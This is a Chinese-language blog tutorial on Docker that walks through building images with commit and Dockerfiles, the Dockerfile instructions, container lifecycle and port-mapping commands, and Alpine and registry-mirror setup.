LJKのBlog

学无止境

docker 镜像生命周期

制作镜像方法:

  • 手工制作(基于容器)
  • 自动制作(基于 dockerfile),企业通常都是基于 dockerfile 制作镜像

手动构建镜像 commit

将现有容器通过 docker commitdocker container commit 手动构建镜像

根据容器的更改创建新镜像:

1
2
3
4
5
6
7
8
# docker container commit --help
Usage: docker container commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]

Options:
-a, --author string 作者 (e.g., "John Hannibal Smith <hannibal@a-team.com>")
-c, --change list 使用Dockerfile指令来创建镜像
-m, --message string 提交时的说明文字
-p, --pause 在commit时,将容器暂停 (default true)

说明:

  • 制作镜像和容器的状态无关,停止状态也可以制作
  • 如果没有指定[REPOSITORY[:TAG]],REPOSITORY 和 TAG 都为<none>
  • 提交的时候标记 TAG,后期可以根据 TAG 标记创建不同版本的镜像以及创建不同版本的容器

具体步骤

  1. 下载一个官方的基础镜像,例如:centos、ubuntu、alpine
  2. 基于基础镜像启动一个容器,并进入
  3. 在容器里面进行安装服务、修改配置等操作
  4. 提交一个新镜像 docker container commit
  5. 基于自己的镜像创建容器并访问、

案例:基于 alpine 基础镜像制作 nginx 镜像

  1. 下载最新版 alpine 基础镜像

    1
    root@Z510:~# docker pull alpine
  2. 启动 alpine 并进入

    1
    2
    root@Z510:~# docker container run -it alpine
    / #
  3. 另开一个终端,将 shell 脚本拷贝到 alpine 镜像

    1
    2
    3
    4
    5
    lujinkai@Z510:~/www/script$ sudo docker container ls
    CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
    b8de1bdb6c88 alpine "/bin/sh" About a minute ago Up About a minute funny_chatelet

    lujinkai@Z510:~/www/script$ sudo docker container cp -a ./alpine-docker/ b8de:/root
  4. 回到容器,运行 shell 脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@Z510:~# docker container run -it alpine
    / # cd
    ~ # ls
    alpine-docker
    ~ # cd alpine-docker/
    ~/alpine-docker # ./install.sh
    ....
    make[1]: Leaving directory '/root/alpine-docker/src/nginx-1.18.0'
    Nginx installed successfully!
    ~/alpine-docker # exit
  5. 提交镜像

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    lujinkai@Z510:~$ sudo docker container commit \
    -a 'lujinkai<root@lujinkai.com>' \
    -c 'EXPOSE 80' \
    -c 'CMD ["/usr/local/nginx/sbin/nginx"]' \
    b8de1bdb6c88 nginx-alpine:v1
    lujinkai@Z510:~$ sudo !!
    sudo docker image ls
    REPOSITORY TAG IMAGE ID CREATED SIZE
    nginx-alpine v1 de56d80c5c8c 14 seconds ago 340MB
    alpine latest d6e46aa2470d 4 weeks ago 5.57MB
  6. 启动基于新制作镜像的容器

    1
    2
    3
    4
    root@Z510:~# docker container run -d -p 80:80 nginx-alpine:v1
    ebbe778a7fe303e6a5cb840203d95a7b5e2a07208365b71f784ddc8357a664d7
    root@Z510:~# curl 127.0.0.1:81
    hello nginx

  7. iptables

    1
    2
    3
    4
    5
    6
    root@Z510:~# iptables -t nat -nL
    ...
    Chain DOCKER (2 references)
    target prot opt source destination
    RETURN all -- anywhere anywhere
    DNAT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:81 to:172.17.0.2:80
  8. ss

    1
    2
    3
    4
    5
    root@Z510:~# ss -ntl
    State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
    ...
    LISTEN 0 4096 *:81 *:*
    ...
  9. 有需求的话,可以导出镜像:docker image save [OPTIONS] IMAGE

自动构建镜像

docker builder build 从 DockerFile 文件中构建镜像

docker builder build

docker builder builddocker build 命令用来基于 dockerfile 构建镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
docker builder build [OPTIONS] PATH | URL | -

PATH | URL | -
上下文目录,如果设置为 - ,则从标准输入获取 dockerfile 的内容,什么是上下文目录?举个例子:COPY 指令复制文件时,源文件只能在上下文目录

OPTIONS
-f, --file string 指定Dockerfile文件,默认为上下文目录下的 Dockerfile
--force-rm 总是删除中间层容器,创建镜像失败时,删除临时容器
--no-cache 不使用之前构建中创建的缓存
--rm=true 创建镜像成功时,删除临时容器
-c, --cpu-shares int 设置 cpu 使用权重,按照比例分配cpu资源,当只有一个容器时,`--cpu-shares` 选项没有意义。
-m, --memory bytes 设置构建内存上限
-t, --tag list 为构建的镜像打上标签
-q, --quiet 不显示构建过程的信息
1
2
3
4
5
6
7
8
9
docker build .
docker build /usr/local/src/nginx
docker build -f /path/to/a/Dockerfile .
docker build -t shykes/myapp .
docker build -t shykes/myapp:1.0.2 -t shykes/myapp:latest .
docker build -t test/myapp .
docker build -t nginx:v1 /usr/local/src/nginx

docker builder build -t nginx:v1 . # 构建一个镜像,指定上下文目录为当前目录

Dockerfile 介绍

DockerFile 是一种被 Docker 程序解释执行的脚本,由一条条的命令组成的,每条命令对应 linux 下面的一条命令,Docker 程序将这些 DockerFile 指令翻译成真正的 linux 命令,其有自己的书写方式和支持的命令,Docker 程序读取 DockerFile 并根据指令生成 Docker 镜像,相比手动制作镜像的方式,DockerFile 更能直观的展示镜像是怎么产生的,有了 DockerFile,当后期有额外的需求时,只要在之前的 DockerFile 添加或者修改响应的命令即可重新生成新的 Docker 镜像,避免了重复手动制作镜像的麻烦,类似与 shell 脚本一样,可以方便高效的制作镜像。

Docker 守护程序 Dockerfile 逐一运行指令,如有必要,将每个指令的结果提交到新镜像,然后最终输出新镜像的 ID。Docker 守护程序将自动清理之前发送的上下文。

请注意,每条指令都是独立运行的,并会导致创建新镜像,比如 RUN cd /tmp 对下一条指令不会有任何影响。

Docker 将尽可能重用中间镜像层(缓存),以显著加速 docker builder build 命令的执行过程,这由 Using cache 控制台输出中的消息指示。

Dockerfile 镜像制作和使用流程

Dockerfile 文件的制作镜像的分层结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 按照业务类型或系统类型等方式划分创建目录环境,方便后期镜像比较多的时候进行分类
[root@ubuntu1804 ~]$ mkdir
/data/dockerfile/{web/{nginx,apache,tomcat,jdk},system/{centos,ubuntu,alpine,debian}} -p
[root@ubuntu1804 ~]$ tree /data/dockerfile/
/data/dockerfile/
├── system
│├── alpine
│├── centos
│├── debian
│└── ubuntu
└── web
├── apache
├── jdk
├── nginx
└── tomcat
10 directories, 0 files

build 构建过程

  1. 从基础镜像运行一个容器
  2. 顺序执行一条指令对容器做出修改
  3. 执行类似 docker commit 的操作提交一个新的镜像层(可以利用中间层镜像创建容器进行调试和排错)
  4. docker 基于刚才提交的镜像运行一个新的容器
  5. 执行 Dockerfile 中的下一条指令,直至所有指令执行完毕

Dockerfile 文件格式

Dockerfile 是一个有特定语法格式的文本文件

  • 每一行以 Dockerfile 的指令开头,指令不区分大小写,但是惯例使用大写
  • 使用 # 开始作为注释
  • 每一行只支持一条指令,每条指令可以携带多个参数
  • 指令按文件的顺序从上至下进行执行
  • 每个指令的执行会生成一个新的镜像层,为了减少分层和镜像大小,尽可能将多条指令合并成一条指令
  • 制作镜像一般可能需要反复多次,每次执行 Dockerfile 都按顺序执行,从头开始,已经执行过的指令已经缓存,不需要再执行,如果后续有一行新的指令没执行过,其往后的指令将会重新执行,所以为加速镜像制作,将最常变化的内容放下 Dockerfile 的文件的后面

Dockerfile 相关指令

docker builder build 命令基于 dockerfile 构建镜像,docker container run 命令基于镜像启动容器

所以 dockerfile 的指令也分为三类:

  • docker builder build 阶段运行
  • docker container run 阶段运行
  • 在以上两个阶段都运行,这种命令都是“设置”相关的,例如 USER 设置用户、ENV 设置环境变量、WORKDIR 设置工作目录,它们的设置在 build 和 run 两个阶段都生效

FROM

FORM 指定基础镜像,此指令通常必需放在 Dockerfile 文件第一个非注释行。后续的指令都是运行于此基准镜像所提供的运行环境

1
FROM [--platform=<platform>] <image>[:<tag>]

关于 scratch 镜像:

该镜像是一个空的镜像,可以用于构建 busybox 等超小镜像,可以说是真正的从零开始构建属于自己的镜像该镜像在构建基础镜像(例如 debian 和 busybox)或超最小镜像(仅包含一个二进制文件及其所需内容,例如:hello-world)的上下文中最有用

LABEL

LABEL 指定镜像元数据,如 镜像作者等

1
LABEL <key>=<value> <key>=<value> <key>=<value> ...

示例:

1
2
3
4
5
LABEL maintainer="lujinkai <root@lujinkai.com>" \
version="1.0" \
other="value3" \
description="some description" \
other="value1"

注意:MAINTAINER 指令已过时,使用 LABEL 代替

RUN

RUN 指令用来在 build 阶段需要执行 shell 命令,一定要是继承的镜像所支持的 shell 命令

注意: RUN 可以写多个,每一个 RUN 指令都会建立一个镜像层,所以尽可能使用 && 将多条指令合并为一条

相邻的 RUN 命令相互独立,示例:

1
2
RUN cd /app
RUN echo "hello" > world.txt # world.txt并不存放在/app内

ENV

ENV 定义环境变量和值,会被后续指令通过$KEY或${KEY}进行引用,并在容器运行时保持

1
2
3
4
5
6
7
ENV <key1>=<value1> \
<key2>=<value2> \
<key3>=<value3>

# 变量支持高级赋值格式
${key:-word}
${kye:+word}

docker run 运行容器,如果需要修改环境变量,使用 -e 重新定义即可覆盖

COPY

复制指令,从上下文目录中复制文件或者目录到容器里指定路径

1
COPY [--chown=<user>:<group>] ["<src>",... "<dest>"] # 如果路径中有空白字符,加双引号
  • --chown=<user>:<group>:改变复制到容器内文件的属主和属组,默认保留所有元数据

  • "<src>"

    • 支持通配符,通配符规则满足 Go 的 filepath.Match 规则
    • 如果是目录,则其内部文件或子目录会被递归复制,但目录自身不会被复制
  • "<dest>"

    • 支持绝对路径 或 WORKDIR 指定的相对路径
    • 如果不存在,会自动创建,递归创建目录
    • 如果"<src>"是多个文件,则"<dest>"必须是目录,且以 / 结尾

范例:

1
2
COPY hom* /mydir/
COPY hom?.txt /mydir/

ADD

增强版 COPY,支持自动解压缩,如果只是复制,尽量使用 COPY

支持解压缩(identity、gzip、bzip2、xz),支持解包(tar),支持像解压缩+解包,例如 .tar.gz

注意:ADD 识别压缩文件,取决于文件内容,不取决于文件后缀,如果一个文本文件直接修改后缀为 .tar.gz,该文件将被简单地复制到目标文件

1
ADD [--chown=<user>:<group>] ["<src>",... "<dest>"]
  • "<src>":支持 URL,下载后的文件权限自动设置为 600,如果下载的是 tar 文件将不会自动展开

示例:

1
2
3
4
5
6
7
ADD test relativeDir/   # adds "test" to `WORKDIR`/relativeDir/
ADD test /absoluteDir/ # adds "test" to /absoluteDir/
ADD --chown=55:mygroup files* /somedir/
ADD --chown=bin files* /somedir/
ADD --chown=1 files* /somedir/
ADD --chown=10:11 files* /somedir/
ADD ubuntu-xenial-core-cloudimg-amd64-root.tar.gz /

CMD

CMD 指定启动容器时默认执行的一个命令

  • 命令运行结束后容器也会停止,所以一般指定持续运行且为前台的命令
  • 每个 Dockerfile 只能有一条CMD 命令。如指定了多条,只有最后一条被执行
  • 如果用户启动容器时用 docker run xxx 指定运行的命令,则会覆盖 CMD 指定的命令
1
2
3
4
5
6
7
8
# 使用 exec 执行,推荐方式,第一个参数必须是命令的全路径,此种形式不支持环境变量
CMD ["executable","param1","param2"]

# 在 /bin/sh 中执行,提供给需要交互的应用;此种形式支持环境变量
CMD command param1 param2

# 提供给 ENTRYPOINT 命令的默认参数
CMD ["param1","param2"]

示例:

1
CMD ["nginx", "-g", "daemon off;"]

ENTRYPOINT

入口点,功能类似于CMD,配置容器启动后执行的命令及参数

  • ENTRYPOINT 不能被 docker run 提供的参数覆盖,而是以追加的形式作为 ENTRYPOINT 的参数
  • 每个 Dockerfile 中只能有一个 ENTRYPOINT,当指定多个时,只有最后一个生效
1
2
3
4
5
# 使用 exec 执行
ENTRYPOINT ["executable", "param1", "param2"]

# shell中执行
ENTRYPOINT command param1 param2

CMDENTRYPOINT 都定义了容器运行时的执行命令。如下是它们的一些使用规则:

  • CMDENTRYPOINT 在 Dockerfiles 中应该至少应该有一个被定义
  • 当构建可执行容器时,应该定义 ENTRYPOINT 指令
  • CMD 要么用于给 ENTRYPOINT 提供默认参数,要么用于在容器中执行一个特定命令
  • CMD 可以通过容器启动命令 docker run 的参数来替换它

ARG

ARG 在 build 阶段指定变量,和 ENV 不同的是,容器运行时不会存在这些环境变量

1
ARG <name>[=<default value>]
  • 如果和 ENV 同名,ENV 覆盖 ARG 变量

  • 可以用 docker build --build-arg <参数名>=<值> 来覆盖

  • FROM 之前声明的 ARG 在构建阶段之外,所以它不能在 FROM 之后的任何指令中使用。 要使用在第一个FROM 之前声明的 ARG 的默认值,请在构建阶段内使用没有值的 ARG 指令

    1
    2
    3
    4
    5
    # 示例:
    ARG VERSION=latest
    FROM busybox:$VERSION
    ARG VERSION
    RUN echo $VERSION > image_version

VOLUME

匿名卷,将宿主机上的目录挂载至 VOLUME 指定的容器目录。即使容器后期被删除,此宿主机的目录仍会保留,从而实现容器数据的持久保存

1
2
VOLUME <容器内路径>
VOLUME ["<容器内路径1>", "<容器内路径2>"...]
  • VOLUME 实现的是匿名卷,无法指定宿主机路径和容器目录的挂载关系,宿主机目录位于:

    1
    /var/lib/docker/volumes/
  • 通过docker rm -fv <容器ID> 可以删除容器的同时删除 VOLUME 指定的卷

  • 如果要指定宿主机目录,使用 docker run 的 -v 参数,参考:docker 数据管理

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. dockerfile,生成两个匿名卷
VOLUME [ "/testdata","/testdata2" ]

# 2. 进入容器,测试
cp /etc/issue /testdata/f1.txt
cp /etc/issue /testdata2/f2.txt

# 3. 查看宿主机目录
$ tree /var/lib/containers/storage/volumes/
/var/lib/containers/storage/volumes/
├── 725f0f67921bdbffbe0aaf9b015d663a6e3ddd24674990d492025dfcf878529b
│ └── _data
│ └── f1.txt
└── fbd13e5253deb375e0dea917df832d2322e96b04ab43bae061584dcdbe7e89f2
└── _data
└── f2.txt

EXPOSE

WORKDIR

指定工作目录,即后续 RUNCMDENTRYPOINT 指令的相对路径,如该目录不存在,WORKDIR 会自行创建

1
WORKDIR /path/to/workdir

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 两次RUN独立运行,不在同一个目录,
RUN cd /app
RUN echo "hello" > world.txt

# 如果想实现相同目录可以使用WORKDIR
WORKDIR /app
RUN echo "hello" > world.txt

# 可以使用多个 WORKDIR 指令,后续命令如果参数是相对路径,则会基于之前命令指定的路径
WORKDIR /a
WORKDIR b
WORKDIR c
RUN pwd # /a/b/c

ONBUILD

ONBUILD 指令在当前镜像 build 阶段不会执行,会在子镜像 build 阶段执行,即:延迟执行

使用 ONBUILD 指令的镜像,推荐在标签中注明,例如 ruby:1.9-onbuild

USER

指定执行后续指令的用户和用户组,后续的 RUN 也会使用指定用户,默认是 root 身份执行

这个用户必须是事先建立好的,否则无法切换

1
2
USER <user>[:<group>]
USER <UID>[:<GID>]

HEALTHCHECK

检查容器的健康性

1
2
3
4
5
6
7
HEALTHCHECK [选项] CMD <命令>  # 设置检查容器健康状况的命令
HEALTHCHECK NONE # 如果基础镜像有健康检查指令,使用这行可以屏蔽掉其健康检查指令

--interval=<间隔> #两次健康检查的间隔,默认为 30 秒
--timeout=<时长> #健康检查命令运行超时时间,如果超过这个时间,本次健康检查就被视为失败,默认 30 秒
--retries=<次数> #当连续失败指定次数后,则将容器状态视为 unhealthy,默认3次
--start-period=<FDURATION> #default: 0s

示例:

1
2
3
4
FROM nginx
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
HEALTHCHECK --interval=5s --timeout=3s \
CMD curl -fs http://localhost/ || exit 1

STOPSIGNAL

退出容器的信号

STOPSIGNAL 设置将被发送到容器退出的系统调用信号。该信号可以是与内核 syscall 表中的位置匹配的有效无符号数字(例如 9),也可以是 SIGNAME 格式的信号名称(例如 SIGKILL)

1
STOPSIGNAL signal

SHELL

指定 shell,SHELL指令可以出现多次。 每个SHELL指令将覆盖所有先前的SHELL指令,并影响所有后续的指令

1
SHELL ["executable", "parameters"]

示例:

1
2
SHELL ["powershell", "-command"]
SHELL ["cmd", "/S", "/C"]

.dockerignore 文件

与.gitignore 文件类似,生成构建上下文时 Docker 客户端应忽略的文件和文件夹指定模式

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
test/*   #排除 test 目录下的所有文件
md/xttblog.md #排除 md 目录下的 xttblog.md 文件
xttblog/*.md #排除 xttblog 目录下的所有 .md 的文件
xttblog? #排除以 xttblog 为前缀的文件和文件夹
**/*.sql #排除所有目录下的 .sql 文件夹

#除了README的md不排外,排除所有md文件,但不排除README-secret.md
*.md
!README*.md
README-secret.md

#除了所有README的md文件以外的md都排除
*.md
README-secret.md
!README*.md

容器生命周期

容器管理 docker container

启动容器 run

每次 run,都会启动一个新的容器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# docker run [选项] [镜像名] [shell命令] [参数]
docker container run [OPTIONS] IMAGE [COMMAND] [ARG...]

COMMAND:一次性运行容器中命令
OPTIONS:
-i, --interactive Keep STDIN open even if not attached,通常和-t 一起使用
-t, --tty 分配 pseudo-TTY,通常和-i 一起使用,注意对应的容器必须运行 shell 才支持进入
-d, --detach 后台运行容器,并返回容器 ID,默认前台运行
--name string 启动容器时会自动随机字符作为容器名,--name 指定容器名称
-h string 设置虚拟机内的 hostname
--rm 退出后立即删除容器,一次性运行,下次从镜像中启动
-p, --publish list (小写p)暴露指定端口映射,为避免宿主机端口冲突,要做好端口规划
-P, --publish-all (大些P)暴露所有端口,随机,默认从 32768 开始
--dns list Set custom DNS servers
--entrypoint string Overwrite the default ENTRYPOINT of the image
--privileged 赋予虚拟机内的 root 真正的 root 权限,有权限宿主机,没有特殊需求不要使用
-e=[] 传递环境变量
--env-file=[] 传递环境变量,文件
--restart string 容器的重启策略,面向生产环境的启动策略
no # 默认策略,容器退出时不重启容器
on-failure # 容器非正常退出时(退出状态非 0),才会重启容器
on-failure:3 # 容器非正常退出时重启容器,最多重启 3 次
always # 容器退出时总是重启容器,设置为 always,则启动 docker 服务的时候会自动启动容器
unless-stopped # 容器退出时总是重启容器,但是不考虑在 docker 守护进程启动时就已经停止了的容器
-v,--volume list 数据卷相关

注意:容器启动后,如果容器内没有前台运行的进程,将自动退出停止

退出容器:exit 容器停止;ctrl+p+q 容器不停止

查看容器信息

查看当前存在的容器 ls
1
2
3
4
5
6
7
8
9
10
docker ps [OPTIONS]
docker container ls [OPTIONS]

选项:
-a, --all 查看所所有容器,包括退出状态的容器(默认只显示处于运行状态的容器)
-q, --quiet Only display numeric IDs
-s, --size 显示容器大小
-f, --filter 过滤,例如 `-f status=exited`
-l, --latest 显示最新创建的容器
-n, --last int Show n last created containers (includes all states)(default -1)
查看容器内的进程 top
1
docker container top CONTAINER [ps OPTIONS]
查看容器资源使用情况 stats
1
2
3
4
5
6
7
8
# docker container stats --help
Usage: docker container stats [OPTIONS] [CONTAINER...]

Options:
-a, --all Show all containers (default shows just running)
--format string Pretty-print images using a Go template
--no-stream Disable streaming stats and only pull the first result
--no-trunc Do not truncate output
查看容器的详细信息 inspect
1
2
3
4
5
6
# docker container inspect --help
Usage: docker container inspect [OPTIONS] CONTAINER [CONTAINER...]

Options:
-f, --format string Format the output using the given Go template
-s, --size Display total file sizes

范例:

1
2
3
docker inspect 9997
docker inspect -f "{{.Metadata}}" test:v1.0 # 选择性查看
docker inspect -f "{{.Created}}" c1

删除容器 rmprune

rmprune 都是删除容器。rm 是强制删除,即使容器处于运行状态;prune 只删除停止的容器。

1
2
3
4
5
6
7
# docker container rm --help
Usage: docker container rm [OPTIONS] CONTAINER [CONTAINER...]

Options:
-f, --force Force the removal of a running container (uses SIGKILL)
-l, --link Remove the specified link
-v, --volumes 同时删除数据卷
1
2
3
4
5
6
# docker container prune --help
Usage: docker container prune [OPTIONS]

Options:
--filter filter Provide filter values (e.g. 'until=<timestamp>')
-f, --force 不提示确认信息

范例:删除指定状态的容器

1
docker rm `docker ps -qf status=exited`
1
alias rmc='docker container ls -aq | xargs -n1 docker container rm -f'

容器的启动和停止

1
docker start|stop|restart|pause|unpause 容器ID
  • start:启动容器,后台启动,并执行默认 COMMAND
  • stop:关闭容器
  • restart:重启容器
  • pause:暂停容器中的所有进程
  • unpause:恢复容器中的进程

给正在运行的容器发信号 kill

默认信号 SIGKILL,即 9 信号

1
2
3
4
5
# docker container kill --help
Usage: docker container kill [OPTIONS] CONTAINER [CONTAINER...]

Options:
-s, --signal string Signal to send to the container (default "KILL")

进入正在运行的容器 exec

run -it 是新建容器,并进入,如果要进入正在运行的容器,推荐使用 exec,exit 退出的时候容器不停止。

此外 attach 也可以进入容器,但是 exit 退出后容器会自动关闭,所以不推荐使用。

exec 的作用是在运行的容器中执行命令

1
2
3
4
5
6
7
8
9
10
11
12
# docker container exec --help
Usage: docker container exec [OPTIONS] CONTAINER COMMAND [ARG...]

Options:
-d, --detach Detached mode: run command in the background
--detach-keys string Override the key sequence for detaching a container
-e, --env list Set environment variables
-i, --interactive Keep STDIN open even if not attached
--privileged Give extended privileges to the command
-t, --tty Allocate a pseudo-TTY
-u, --user string Username or UID (format: <name|uid>[:<group|gid>])
-w, --workdir string Working directory inside the containe

常见用法:

1
2
#常见用法
docker exec -it 容器ID sh|bash # 进入容器,且exit退出但容器不停止

暴露端口

端口映射的本质就是利用 NAT 技术实现的

暴露所有端口,随机:大写 P

1
docker container run -P

暴露指定端口:小写 p

1
2
3
4
5
6
7
8
9
10
docker container run -p

# 范例
docker run -p 80 --name nginx-test-port1 nginx # 容器80映射到宿主机随机端口
docker run -p 81:80 --name nginx-test-port2 nginx # 容器80端口映射到宿主机本地端口81
docker run -p 10.0.0.100:82:80 --name nginx-test-port3 docker.io/nginx # 指定宿主机ip
docker run -p 10.0.0.100::80 --name nginx-test-port4 docker.io/nginx
docker run -p 10.0.0.100:83:80/udp --name nginx-test-port5 docker.io/nginx #指定udp,默认tcp
# 一次性映射多个端口+协议
docker run -p 8080:80/tcp -p 8443:443/tcp -p 53:53/udp --name nginx-test-port6 nginx

查看容器日志 logs

查看容器中运行的进程在控制台输出的日志信息,如果容器中的进程不在控制台输出日志,那就没办法了,所以这种方法一般不用

1
2
3
4
5
6
7
8
9
10
# docker container logs --help
Usage: docker container logs [OPTIONS] CONTAINER

Options:
--details Show extra details provided to logs
-f, --follow Follow log output
--since string Show logs since timestamp (e.g. 2013-01-02T13:23:37) or relative (e.g. 42m for 42 minutes)
--tail string Number of lines to show from the end of the logs (default "all")
-t, --timestamps Show timestamps
--until string Show logs before a timestamp (e.g. 2013-01-02T13:23:37) or relative (e.g. 42m for 42 minutes)

传递运行命令

docker run xxx启动容器,如果 xxx 容器中没有常驻前台的进程,xxx 会认为没什么任务,在启动后马上退出,有的服务支持前台运行,有的不支持,如果服务不支持前台运行,我们可以启动一个常驻前台的进程,阻止容器推出,常用的方式是让容器运行tail -f /etc/hosts命令,注意不要监听频繁更改的文件,避免产生不必要的磁盘 IO

范例:

1
2
3
4
5
6
# nginx前台运行,直接后台启动即可
docker container run -d nginx:1120
# alpine没有常驻前台的进程,以下两种方式均可
# 在容器内执行`/bin/sh`,然后把容器放到宿主机后台,sh是交互式命令,所以也有常驻前台的效果
docker container run -itd alpine
docker run -d alpine 'tail -f /etc/hosts'

指定容器 DNS

默认采用宿主机的 dns 地址,可以在 run 启动容器时指定

范例:

1
2
3
4
5
root@Z510:~# docker container run -it --dns 1.1.1.1 --dns 8.8.8.8 alpine:1119
/ # cat /etc/resolv.conf
search magedu.com
nameserver 1.1.1.1
nameserver 8.8.8.8

容器内和宿主机之间复制文件 cp

1
2
3
4
5
6
7
# docker container cp --help
Usage: docker container cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH
docker container cp [OPTIONS] SRC_PATH CONTAINER:DEST_PATH

Options:
-a, --archive Archive mode (copy all uid/gid information)
-L, --follow-link Always follow symbol link in SRC_PATH

使用 systemd 控制容器运行

范例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /lib/systemd/system/hello.service
[Unit]
Description=Hello World
After=docker.service
Requires=docker.service
[Service]
TimeoutStartSec=0
ExecStartPre=-/usr/bin/docker kill busybox-hello
ExecStartPre=-/usr/bin/docker rm busybox-hello
ExecStartPre=/usr/bin/docker pull busybox
ExecStart=/usr/bin/docker run --name busybox-hello busybox /bin/sh -c "while true; do echo Hello World; sleep 1; done"
ExecStop=/usr/bin/docker kill busybox-hello
[Install]
WantedBy=multi-user.target

传递环境变量

docker container -edocker container --env-file

范例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
docker run \
-d \
--name mysql-test1 \
-v /data/mysql:/var/lib/mysql \
-p 3306:3306 \
-e MYSQL_ROOT_PASSWORD=123456 \
-e MYSQL_DATABASE=wordpress \
-e MYSQL_USER=wpuser \
-e MYSQL_PASSWORD=123456 \
mysql:5.7.30

# 或
docker run \
-d \
--name mysql-test2 \
-v /root/mysql/:/etc/mysql/conf.d \
-v /data/mysql2:/var/lib/mysql \
-p 3307:3306 \
--env-file=env.list \
mysql:5.7.30

cat env.list
MYSQL_ROOT_PASSWORD=123456
MYSQL_DATABASE=wordpress
MYSQL_USER=wpuser
MYSQL_PASSWORD=wppass

镜像结构和原理

镜像就是创建容器的模板,含有启动容器所需要的文件系统及所需要的内容,因此镜像主要用于方便和快速的创建并启动容器

镜像理由是一层一层的文件系统:Union FS(联合文件系统),可以将几层目录挂载到一起(类似俄罗斯套娃),形成一个虚拟文件系统,虚拟文件系统的目录结构就像普通 linux 目录结构一样,镜像通过这些文件,再加上宿主机的内核共同构成了一个 linux 的虚拟环境,每一层文件系统叫做一层 layer,联合文件系统可以对每一层文件系统设置三种权限:readonly、readwrite、writeout-able。但是镜像中每一层文件系统都是只读的,构建镜像的时候,从一个最基本的操作系统开始,每个构建提交的操作都相当与做一层的修改,增加了一层文件系统,一层层往上叠加,上层的修改会覆盖底层该位置的可见性,当使用镜像的时候,我们只会看见一个整体,并不知道里面有几层,实际上也不需要知道

一个典型的 Linux 文件系统由 bootfs 和 rootfs 两部分组成

bootfs(boot file system)主要包含 bootloader 和 kernel,bootloader 主要用于引导加载 kernel。系统刚启动时会加载 bootfs 文件系统,kernel 加载到内存后,接管系统的控制权,bootfs 就会被 umount 掉

rootfs(root file system)就是我们看到的/dev、/proc、/bin、/etc 等目录和文件,不同的 linux 发行版本(如 ubuntu 和 centos)主要在 rootfs 这一层会有所区别

一般的镜像通常都比较小,镜像直接调用宿主机的内核,镜像中只提供 rootfs,也就是只需包括最基本的命令、配置文件和程序库等相关文件就可以了

容器、镜像和父镜像关系:

alpine 介绍

Alpine 操作系统是一个面向安全的轻型 Linux 发行版。它不同于通常 Linux 发行版,Alpine 采用了 musl libc 和 busybox 以减小系统的体积和运行时资源消耗,但功能上比 busybox 又完善的多,因此得到开源社区越来越多的青睐。在保持瘦身的同时,Alpine 还提供了自己的包管理工具 apk,可以通过https://pkgs.alpinelinux.org/packages 网站上查询包信息,也可以直接通过 apk 命令直接查询和安装各种软件。

Alpine 由非商业组织维护的,支持广泛场景的 Linux 发行版,它特别为资深/重度 Linux 用户而优化,关注安全,性能和资源效能。Alpine 镜像可以适用于更多常用场景,并且是一个优秀的可以适用于生产的基础系统/环境。

Alpine Docker 镜像也继承了 Alpine Linux 发行版的这些优势。相比于其他 Docker 镜像,它的容量非常小,仅仅只有 5 MB 左右(对比 Ubuntu 系列镜像接近 200 MB),且拥有非常友好的包管理机制。官方镜像来自 docker-alpine 项目。

目前 Docker 官方已开始推荐使用 Alpine 替代之前的 Ubuntu 做为基础镜像环境。这样会带来多个好处。包括镜像下载速度加快,镜像安全性提高,主机之间的切换更方便,占用更少磁盘空间等。

1
2
3
4
5
6
7
8
9
10
11
12
#修改源替换成阿里源:将/etc/apk/repositories中的 dl-cdn.alpinelinux.org 改成 mirrors.aliyun.com
sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/' /etc/apk/repositories
#更新源
apk update
# 查找可用软件包
apk search [vim]
# 列出软件信息
apk info [vim]
#安装软件
apk add vim
#删除软件
apk del openssh openntp vim

搜索镜像

如果联网下载,一般不会使用命令搜索,而是去官网搜索

docker 镜像加速

登录阿里云 –> 容器镜像服务 –> 镜像中心 –> 镜像加速器

1
2
3
4
5
6
7
8
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://3417nt4m.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

docker image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# docker help image
Usage: docker image COMMAND

Commands:
build # 从Dockerfile中构建镜像
history # 显示镜像分层历史
import # 从tar包中的内容创建一个新的文件系统映像[对应 container export]
inspect # 显示容器详细信息
load # 从一个tar包中加载一个镜像[对应save]
ls List images
prune # 移除未使用的镜像
pull Pull an image or a repository from a registry
push Push an image or a repository to a registry
rm # 移除一个或多个镜像
save # 保存一个镜像为一个tar包[对应load]
tag Create a tag TARGET_IMAGE that refers to SOURCE_IMAGE

下载镜像 pull

1
2
3
4
5
6
7
8
9
10
11
12
# docker help pull
docker pull [OPTIONS] NAME[:TAG|@DIGEST]

Options:
-a, --all-tags Download all tagged images in the repository
--disable-content-trust Skip image verification (default true)
--platform string Set platform if server is multi-platform capable
-q, --quiet Suppress verbose output

NAME 镜像名,仓库服务器:端口/项目名称/镜像名称
:TAG 版本号,如果不指定:TAG,则下载最新版镜像
@DIGEST 摘要
1
2
3
4
5
6
7
[root@ubuntu1804 ~]#docker pull hello-world
Using default tag: latest # tag 默认下载tag为latest
latest: Pulling from library/hello-world
1b930d010525: Pull complete # 分层下载
Digest: sha256:9572f7cdcee8591948c2963463447a53466950b3fc15a247fcad1917ca215a2f # 摘要
Status: Downloaded newer image for hello-world:latest
docker.io/library/hello-world:latest # 下载的完整地址
1
2
3
4
5
6
7
8
9
10
11
